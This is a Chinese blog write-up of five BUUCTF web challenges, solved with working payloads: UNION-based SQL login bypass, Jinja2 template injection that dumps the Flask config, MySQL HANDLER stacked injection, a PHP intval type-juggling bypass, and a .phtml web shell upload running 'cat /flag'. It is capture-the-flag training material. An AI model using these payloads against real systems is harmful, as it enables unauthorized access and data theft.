BUU-Web刷题记录 4

继续刷 BUU

清单:

  • BabySQli
  • shrine
  • Blacklist
  • BackupFile
  • Upload

BabySQli

本题考察 联合查询注入构造虚拟数据

这题说是原题有题目描述,我在 BUU 没有看到:刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码!

后来才知道的,就说之前为啥一直出不了,属实难顶 😶

这题进入之后会给出一个登陆的简易界面,我们先 Fuzz 一下,发现似乎只有小括号、information、or、=、order 被过滤了

我们构造 payload 先检查一下列数:name=1'union select 1,2,3#&pw=123,返回 wrong answer,没有报错,我们再加一列看看:name=1'union select 1,2,3,4#&pw=123 ,报错:Error: The used SELECT statements have a different number of columns

所以说明是三个字段,大概就是 id、name、pw,然后发现在 wrong answer 下踏马的有一段注释:

1
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->

圆子大佬提醒是 Base36 编码,于是拿去解码一下:(推荐https://www.qtool.net/baseencode,实在太顶了)

1
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

显然是 Base64,用 Base64 解下码:

1
select * from user where username = '$name'

ohhhhhhhhhhhhhhhhhhhhh 得到了 sql 的语句,可以发现是单独判断的 name,可以猜测是先判断为 admin,然后再验证密码,我们可以利用联合查询查询不存在的数据时,会自己尼玛构造一个虚拟的数据,所以我们可以直接利用这个进行绕过,然后又知道密码是被 md5 加密了的,所以我们自己将 123 md5加密一波,然后构造 payload: name=1'union select 0,"admin","202cb962ac59075b964b07152d234b70"#&pw=123

成功爆出 flag

shrine

本题考察 SSTI模板注入

进入题目是直接给了我们源码,是 jinja2 模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

我们可以发现是在 /shrine 目录下存在模板注入,并且可以推测 flag 就在 config 中,但是可以发现设置了黑名单,将 config 和 self 给滤了,并且还把小括号也去掉了,不过我们可以利用 Python 的一些内置函数比如 url_for 以及 get_flashed_messages(Flask中的url_for()怎么用

我们可以构造 payload:

1
/shrine/{{url_for.__globals__}}

可以发现回显了很多,我们在其中找到了一个名为 当前app 的:

1
'current_app': <Flask 'app'>

我们访问其 config:

1
/shrine/{{url_for.__globals__['current_app'].config}}

在其中可以找到 flag

或者我们也可以用 get_flashed_messages 取出闪现信息:


返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)


截取自 https://www.cnblogs.com/wangtanzhi/p/12238779.html

构造 payload:

1
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

一样也可以获取 flag

Blacklist

本题考察 堆叠注入 | MySQL HANDLER

这题和随便注实在是太像了,可以说几乎是一样的,直接莽上去用随便注的方法狠敲,发现只不过是之前的数字字符串改成了 FlagHere,直接尝试改名,却尼玛发现 rename 被过滤了,想用 MySQL 预处理,结果 prepare 也被过滤了 🌚

这里我们也不是莫得办法,我们可以使用 HANDLER 来进行读取,构造 payload:1';HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST#,即可读取 flag

BackupFile

本题考查 网站备份源码泄露 | PHP代码审计 | PHP函数弱类型的利用

上门也是直接给出了提示:

1
Try to find out source file!

肯定是源码泄露了,BUU 的题扫目录当然是没用的,我踏马一个一个手动试,最后试出来是 bak 网站备份源码泄露:index.php.bak,然后得到源码进行分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

我们需要传入名为 key 的 GET 参数使之与 str,即 123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3 相等

但是发现这里是利用了 is_numeric 对 key 进行了一个是否为数字的判断,我们可以用十六进制绕过,但是发现后面接了一个 intval 补一刀,这就有点难顶,后来网上翻了翻发现 intval 会从第一个非数字开始截断,又因为这里的判断是弱类型的,不同类型会自动转换成相同类型,也就是用字符串和整形比较时字符串会自动 intval

所以直接利用这一点,我们传入 ?key=123 即可成功绕过,获取 flag 👍

Upload

本题考察 文件上传

简单的文件上传,一开始还想复杂了,直接抓包传一下:

1
2
3
4
Content-Disposition: form-data; name="upload_file"; filename="hack.phtml"
Content-Type: image/jpeg

<script language='php'>system('cat /flag');</script>

获取 flag 👍

From:堆堆
记得注明出处嗷


评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×